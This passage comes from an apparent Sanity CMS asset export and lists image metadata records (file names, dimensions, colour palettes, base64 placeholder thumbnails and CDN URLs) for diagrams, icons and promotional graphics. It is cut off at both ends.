background":"#1c2c88","foreground":"#fff","population":8.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2771","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1afe3","foreground":"#000","population":3.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6771aa","foreground":"#fff","population":3.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c88","foreground":"#fff","population":8.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"change data capture.PNG","path":"images/sczeoy4w/production/48edb96b438f10260e58f7d7a893007c1a75ef70-1538x656.png","sha1hash":"48edb96b438f10260e58f7d7a893007c1a75ef70","size":139590,"uploadId":"95bwGv9LxbVYbuXomAXC8SsEIvZqJFmz","url":"https://cdn.sanity.io/images/sczeoy4w/production/48edb96b438f10260e58f7d7a893007c1a75ef70-1538x656.png"} {"_createdAt":"2024-08-13T13:00:13Z","_id":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_rev":"2Op9OgqNBO1fad6OzhbGnK","_type":"sanity.imageAsset","_updatedAt":"2024-08-13T13:00:13Z","assetId":"44bcde99c465de57bc8926fbb7f3abc2b3af9264","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47nV8}{RN=^xAXqNaNEE2Ir00M}t4IYR$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACvUlEQVQokUWTa1MaBxSG9w9k0iiwXHaXFXZhFxYWEEGSsVGDQVo7mdioaeuovajRgEFFQS6yYEzUmPTyh58Om870w5lz5nx4Zs5531d44P2Rh+IaE8ENPNIveORtPPJveORdvMoBPvUIceoYf/SMoN4hFOu7NZ6DWoeQ3iWgtfFHmoiRE4SJwDqyvk0stUsie4iZrRNN1ggbNVSjQSR5RsRqo5gXXyH6GNYnEG3jj7YIaB23xrMYaSKIys9kijW+XWqxWO1S/n7A0+cD5soOc+UrFqo3LFQ/kZ+7RrcdtPQIzR4RTfWZsnpEU0Oi6WsU0yGo9xC88k8ucL7S5lm1x9KKw9LKFc9/+MDyizu+e/mFyos/ebp8T3H+jtnFzzwpf6a0eEtx/pbS4t8U5v/BzN8TTtwifONfQ9F3MDJvSE7XSM00SM2cki60yJZ6ZB8PSBcdrMKQVPEau/SRTOmKzKyDXRyRKd1glz4Ry96hJu8RHvnX0Mwd7Nw+WnIPSd9F1g9Q4nVU8xjVPENNtNBSbQz7As3qoMTPkGMnKMY5YbODYvSQ4w6K+QEhFNlkY7VN88011WqLuF0jlj4ikWuSnG5j5jok8z0qywO21gdUKg5WvoeR7ZCYvsTIDVETY6F6SPERgqpv8XbH4Uv3L16vO+7JidwxduEcu9jByndJzXTYeDWkX//I5usbco8HpAqX2LPvsQo3RKyR64Cx2oJfWudZaY+1lSaluQaqsU8wskdIO0TSj5D0htsz0w3KCy3ysxeEjSZyfPyKPmryPVJ88J9tThEmfS/RlVdY5ja6tUcg8jsToV+ZCP2BRz7AG67jVd7iVfYR1UPEqXf41Abi1OnXM2NDgnrX9eA4AMJD7yqT4iq+0AZeZZNJacsFeqT/k+JT63iUA7zKIaILOyEQPScUu0SKOW5SxikZ7/8FFJ2JfzIYTy0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252651","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c8d6","foreground":"#000","population":7.55,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7980c2","foreground":"#fff","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666d9b","foreground":"#fff","population":2.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event promo template with two speakers Dark blue (3).png","path":"images/sczeoy4w/production/44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630.png","sha1hash":"44bcde99c465de57bc8926fbb7f3abc2b3af9264","size":216216,"uploadId":"O5j9YDIxPotGhsvTPlEMTbuXYzZzpu1G","url":"https://cdn.sanity.io/images/sczeoy4w/production/44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630.png"} {"_createdAt":"2024-08-23T07:03:38Z","_id":"image-fdfb2ef02ce480fae9f67145a208cebcc42f8b89-22x20-svg","_rev":"Y0UAcXdiCLXOzJ7kWYX1fC","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T07:03:38Z","assetId":"fdfb2ef02ce480fae9f67145a208cebcc42f8b89","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8Sc;oo1AYxE1LxEsn}Csn$Oj@sn,=Wp$hxEo1snSf$hAFa|w_f7od","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1,"height":20,"width":22},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAADA0lEQVQ4jT2UTW/VZRDFf1eogUooItGNK5UVL61BMVrE2AUxJNiyQDGV0P5nrpTmWhLD0gTZGyVE4wIJ8S029S3BF6KmJEL8AMa4QJd8Af0Cc8jM/7GLSZ77nzPnOXNmnotGDOTslnNRxg0Zy+rYrg60ADoNshaLLTKXGGM5siZrk2PEgEa2Es6vMr6VMRsdE+p4RMZBGS/LmW+R56fllZtIrLIma52V5MqbU9kv8rppWcakjBfCOC/jmoyfZfyeEf05v50P47CcyXCWw7kRyWFcJIzrMtbkLNXtxsksCuOWjB9lfCzjvYzozz+pz12Tc7IpXioO43oqXJBxNJy9Ml5pid9kXJJxIoz96ni0olefmMsNs1a/+9qjyZWE4zK2yZiWcTWBYVxQV0TjWmSgs1BxmoEWGY+OfUpMT5qqp6PnGO+n17FLxrnWygfqmNIpNmsEMQQNGYST9twvK2yqfU7Gh63mXPsOer1W4kkZV9oA5qNjm5LoDCSpvGIsjH1hvCnjrIwDMk61QV0JZyrXrG/FONLM/lzGUzI2y3lAzkQSachY+eS8I2ddzvsypmQ8I+OLqnWO5MXo3SKck3G7VDqPydgaxvMyXgvnWTkH5VyQc0vO1/IaxE4ZT7TOsnZObyTh2+XN7IbBzuMydsgYyvhOzidyrjayr+S82hZ7IGN3I8zaWa0kYXplzOQOyVhtZufEZhrRX3LuNLJU9rCG3Fe29NgvW+1MnGHD8D01XWO9KdspZ4ecl8ov5yM5J4rM2aT5EvFgw6632j29h0mYBH3yZvRP65A6tsrYXpc5k3J2pbJao44themxNzdE2P+Ew5rqoXBWw/mzvYTDtVvOFnVs0kJ5NibjoZa7HFbYbHm6lHeNMLyUzMn5Qc5dGX+E8amMkZwXZewNq+eV55GMzxIj424Y39eEk6MI+z3c397ubTmrNdnem2znm7afSZLn/Ja5xKxGvzKX6s0vAXF8Y8prpco5Jq8W3qq1Mf6R8Z+Mf+X8nd/CKpeYY+o7yT+JGR2He3JYcgN3QWlSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473828","foreground":"#fff","population":1.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1404","foreground":"#fff","population":1.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7640d","foreground":"#fff","population":6.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b391d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d57850","foreground":"#fff","population":1.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#805c52","foreground":"#fff","population":1.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7640d","foreground":"#fff","population":6.14,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-alarm-clock-check.svg","path":"images/sczeoy4w/production/fdfb2ef02ce480fae9f67145a208cebcc42f8b89-22x20.svg","sha1hash":"fdfb2ef02ce480fae9f67145a208cebcc42f8b89","size":570,"uploadId":"xFlV6a6luSAWMbCU7xtiidxd1FvKYY5c","url":"https://cdn.sanity.io/images/sczeoy4w/production/fdfb2ef02ce480fae9f67145a208cebcc42f8b89-22x20.svg"} {"_createdAt":"2024-08-23T06:50:06Z","_id":"image-5411326fe865f3069e8cfe65d0101eb807ee168f-1616x1506-png","_rev":"SKT8L9nELcBha4cgKYqQiq","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T06:50:06Z","assetId":"5411326fe865f3069e8cfe65d0101eb807ee168f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAIEnrXkPA?c00ET?Z-oWGIUln00H?x^?a00.AOXivkW00I[Rka0-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0730411686586985,"height":1506,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33375d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d144f","foreground":"#fff","population":7.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d144f","foreground":"#fff","population":7.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0ca","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e28db5","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656a92","foreground":"#fff","population":0.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c82e","foreground":"#000","population":0.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-real-time-analytics.png","path":"images/sczeoy4w/production/5411326fe865f3069e8cfe65d0101eb807ee168f-1616x1506.png","sha1hash":"5411326fe865f3069e8cfe65d0101eb807ee168f","size":163661,"uploadId":"40kd6ahhOgHcY1cAe57ZXMZeCgjkGDMs","url":"https://cdn.sanity.io/images/sczeoy4w/production/5411326fe865f3069e8cfe65d0101eb807ee168f-1616x1506.png"} {"_createdAt":"2024-09-18T08:13:14Z","_id":"image-ea661e937c575a2cd18e52dc32415cdf1be47bdc-1920x1080-png","_rev":"etbaRJcyRvzwy2RfQNsYk3","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:13:14Z","assetId":"ea661e937c575a2cd18e52dc32415cdf1be47bdc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MF7UcMj]M{fSRjo,fRayfRay4nayxufQt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABY0lEQVQokWNQ0OklGzHIaXXIaXXIQ5A2jMTK0EYgiC4GGY0mWWKQJgxpQJGMRhODgla9jlm7iV2PmUOPuWOvhVOflXOflXO/mUMvhAsVdOm3dO6zcOo1c+gxte/RMW9X0KpnUDes9wmZmpqzJKtwWV7pyvyyVaXVa8tq1mYXLc8pXlFYviqvZEVBOUiwsHx1XsnKrMJlaTlLfEKnqhvWMyjrVrj49EQlzoxLnZ2UOS85a15G3sKM/IXxaXMS0uemZM1PzJibnDU/PXdhMog9Jy51VlTiDGefbmXdCgYJpVwFzUJVvVI1/VJ1gzJ1gzINwzINozI1/VI1g1INkEipuiFIECxbqqpfqqpXoqBZKKGUwyAimyosA0EpECQEY+BGIPUisqkMQtLxQtIJECSMjYGG4IqFpBMYBCXDBSXDiEECEqH84iHIiEFIwltIwktIwpMg4hd14xFy5hZ04hZ0BJFCzgBzfrQqAK1l/gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3263","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":12.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":12.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc0dc","foreground":"#000","population":7.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#909be8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51529f","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e2c94","foreground":"#fff","population":9.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image test.png","path":"images/sczeoy4w/production/ea661e937c575a2cd18e52dc32415cdf1be47bdc-1920x1080.png","sha1hash":"ea661e937c575a2cd18e52dc32415cdf1be47bdc","size":120563,"uploadId":"NWwKPuh8Dn92TltxxSrh60eBJJDzwFaY","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea661e937c575a2cd18e52dc32415cdf1be47bdc-1920x1080.png"} {"_createdAt":"2024-08-23T07:10:23Z","_id":"image-c7f60c246292bbb1214570505dac4f8925769d00-24x24-svg","_rev":"tXj82aAr3VYUsa9AwlT0gX","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T07:10:23Z","assetId":"c7f60c246292bbb1214570505dac4f8925769d00","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKPxEn1eJ9=bWW,=}Cw_E$j@0+5.Wpw_o15.xEWpa|WW1exEo1S3fj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6klEQVQ4jYWUXYuXVRTFfzPjmJqZaYpFjAlGUCoFRRg5g2hdWHkRatg4jv+zjtqMFSoGQQwoaF50oSAI3kVEF0EIERZlatpFGPkJgr7JWbHPc5r5D5P2wHr2Pm/r7LPf8PtQBBYDs8h98r/Qv0cNCXwAcA/qINAR49yn3w951hDq2UPgI0F4qk4uLmK1xVMWIyUzUsSI832gPql6ZrUTi70jCDMPW7xSxAmLixaXnbk8T2rhuMzpFyxOlOBILAvCTRafWdywuF7ENWd+sBr69YXja3HG4pfgKGJTEO4u4nuLry32WYxajJXMmAOqGHWuGCuxFnPd+mjJvNvOBsfu8N+4MzecOevMGh9i0ImVTjxiMegeQ06sCBQxVLr15W3PkMUai7PtheOUzIQzN5057cwqJ9Y7ccCJt5x4rCTWlcReJ/aFHnNtbcKJpy1WWZwp4lYRB8PCCYtbzpyxeNyJF5w478RxJ5504hknZho2OvGEEx85cc6JLY3wU4sfi3jvX8KbFqetentYuc2JF51Y2p67tWGlxQqL7U7siQuKeNRij8WMxbYg3N+i+7lVn7CkHVpusbRhmXsMO7Go7dlfxCcWBy2eb/m4MQwKwp0W30SUipgpYsqZaTdZxGGL18Py0l00bvGtxe0W2WMWa32sq5r4rbf4wOJq23TbmTsWd0rmN4ufqzsSz1oVkch3w2cWv1t8YfGyeyzy4a5Shi02FPGmRbaYbhZOl1xvP2LxhsVzFr126d8Wf1j8ZfGnxckwrGQG8DuVNDrGcPPfEucmOzzU8KrFVxb3ahBzrajrjfA7i12Rt123Obmwk8yTk7WzvN1K7EvnGtWdUWUWl6zqmhyJjqfmt6vakubGA7UtJQabBT9VazIfWxx15niUXQl/i8lK+KBv1uLEQBGb3aXWr6ULWsjwZ+hXLF6rT/5fwgkok1WP2n6p1f5UC17IyUYWFfPgL3zno10nrr7u2v2Qc20KczKaSILyIfwDP511pFjGDs0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1004","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86406","foreground":"#fff","population":11.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#714927","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c48956","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b08460","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86406","foreground":"#fff","population":11.28,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-passcode-lock.svg","path":"images/sczeoy4w/production/c7f60c246292bbb1214570505dac4f8925769d00-24x24.svg","sha1hash":"c7f60c246292bbb1214570505dac4f8925769d00","size":1617,"uploadId":"PfB4zTZDKkrxVxXEAtCyvVEvZHBL2lEu","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7f60c246292bbb1214570505dac4f8925769d00-24x24.svg"} {"_createdAt":"2024-09-18T08:32:43Z","_id":"image-7dfa8f4461deb2fabb168d475c2f89aa3a5087f5-1920x400-png","_rev":"CUyO5Vcg9PEkEtNJJTSGKV","_type":"sanity.imageAsset","_updatedAt":"2024-09-18T08:32:43Z","assetId":"7dfa8f4461deb2fabb168d475c2f89aa3a5087f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH6[Lkj]Mxa#RjtDfRayfRay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":400,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAzElEQVQImU3LywqCQACFYZ8hQistmxlLCSsjiOgyY0l5oacwcumqlhZhGoUSMfW+4bgJPs7ih8PJ+kPWH+3+Ew4yxSjlf1gZZohRjBwNM9B/li9OVCNJO3eMeEJy4tKCQ1fex9p9Te9DXGq6FDt0vnkvNm/i0qn16o5uknYW1YjjQSjAEPSO48UF2wm20+U2MZ107d2Jk2I7IazM1vHMirGdTsgV6icBhjwIuYrkVyS/2vSF9qGOGBg0UNBQimUlqMMiFlBQA4dqa1++fjsBQ+HpXJvLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424982","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":9.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2b8c","foreground":"#fff","population":9.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b5d4","foreground":"#000","population":7.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#909ce8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70779a","foreground":"#fff","population":2.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2b8c","foreground":"#fff","population":9.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image test.png","path":"images/sczeoy4w/production/7dfa8f4461deb2fabb168d475c2f89aa3a5087f5-1920x400.png","sha1hash":"7dfa8f4461deb2fabb168d475c2f89aa3a5087f5","size":81264,"uploadId":"DKYtzeJfYPfUyvWj6UyWgPMxeNE3IyV3","url":"https://cdn.sanity.io/images/sczeoy4w/production/7dfa8f4461deb2fabb168d475c2f89aa3a5087f5-1920x400.png"} {"_createdAt":"2024-03-22T12:48:36Z","_id":"image-caa9fb78d0905aff90f0fb28789d2eccb66fcbfe-1200x628-png","_rev":"FsdEUX6qPquRWP6V14nzfZ","_type":"sanity.imageAsset","_updatedAt":"2024-03-22T12:48:36Z","assetId":"caa9fb78d0905aff90f0fb28789d2eccb66fcbfe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQONOgWbV?t7%hjFozRibItS_NRORka#V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACHUlEQVQokT3Rz0/TYADG8f57nj3pzSMHPRk9oF6UGOLR6MFESTgYjApjsLVdu64b61gYrHRt33bd265lb9/+2i/CysbKitkgJp/Dc3lOXwKYE7Jibu+d/t6t8jm2xNSbSnThL9zwDgUP3PAORwscxNBEsmoYJsb9WThOCQvNRW3E1myqIAr0Ec80GpJv48QNUxSkq3OKwtR2Y6Doldze3+9fcnu7QLe9fkLYbqKb8ZkcCfVuXWjXjmFDCgC80s2JbsZtK4bOrOvONcPjqfz25vrHtaefP7wRqsc9LyY0OBFOMFu2GB6yZZOtmGzF4qp2sdJlylapagsNLIGh2LIK2T9f3754/eTRxss1jqYRviREZUhxnUxeyRX0HGMc0Nq9LAkyOSWTVw8L7fKx02x1yxzz49O79WePN149ZygaeWNCVEc0B7MkIIvG8kxp+yTI5NUsCfbz6u6hnCFVvmYD2Jda7YNfP79tvt/Z2hLPdRzNCFm7LFW6JNsu8JDmIFXsUMVOnjVItkNxBlVqF4/gmRzA3gR0IqGm8NyJ1DJREAejBQHNyXnjoiaY1bpTb+JTKWwqgyW5L6qRpEcADm332vamijE4bXkSCK3exBsky1QIzRw91GRXBqHRvbLdGwcnDr51vKTnz3F/7g0Sf7jA/cTG1yaKHTx1oyQYLVZnf4HcmYOmNrq58G6XVf37wqkbpf7wQTBKw/HK/zFO/wGzs/CNLKDkYAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333958","foreground":"#fff","population":3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b1336","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333958","foreground":"#fff","population":3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bbd7","foreground":"#000","population":2.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec647c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688caa","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e35d44","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sensorflow-hero-final.png","path":"images/sczeoy4w/production/caa9fb78d0905aff90f0fb28789d2eccb66fcbfe-1200x628.png","sha1hash":"caa9fb78d0905aff90f0fb28789d2eccb66fcbfe","size":91510,"uploadId":"6WW1xg5Millb6PKyVYg60wpu7ibcDy59","url":"https://cdn.sanity.io/images/sczeoy4w/production/caa9fb78d0905aff90f0fb28789d2eccb66fcbfe-1200x628.png"} {"_createdAt":"2024-10-14T11:41:36Z","_id":"image-ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb-525x225-png","_rev":"Tpe1Rj6o9fDmGqbWvoAJAc","_type":"sanity.imageAsset","_updatedAt":"2024-10-14T11:41:36Z","assetId":"ab0f9c5b2eee1b2072700c7bd00733e1a8dd82bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBJ[I.-;00-;00~q-;Rj-;M{00Rj-;WV_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3333333333333335,"height":225,"width":525},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYklEQVQokUXPTWjTYBwG8KDzpojiwYMMhgcZu3gQD7uJ4JAdPXgRb9tpF0F2mgqy7eAmohv4Mdhkw4/NFfYhXbFl7dauaZMlaZs2eZM3H02TvkmWJh2yoWW2r3QDPfyfy/Pwgz+BMSam389diEQT/RmaHdnlCmNMjh+lmfxwfDt96+vy2jmCOEWEVsNXN7fSA1maG2U4fozN8c8zNDsQiSa6xyemOiLRBLG5tUMQbTC0Er6S50tPIVRyEEIdVatqUK+XLGTPcfninYUvofMZiuktCWARAEnVNE3zPE/1/YBUdeNJMk11T72b62hbx+D6RqxLkqQ3ZlnZNzURB3tV3Gj8xgeHh3umhWYS2+RNepfrUxWYLCsiRgbEBz/ruNFoHAX1/QKQlEcbP+KX/4PhWJcM4WvbKgd2BWKnajQ9r9byan7Lqtp0hmLvk1mmv6xrW1UDNlEFtlwHNWt+gB3XO4CKPp8i6Z5/4Mp6pFMQ5cmKafp6uYwl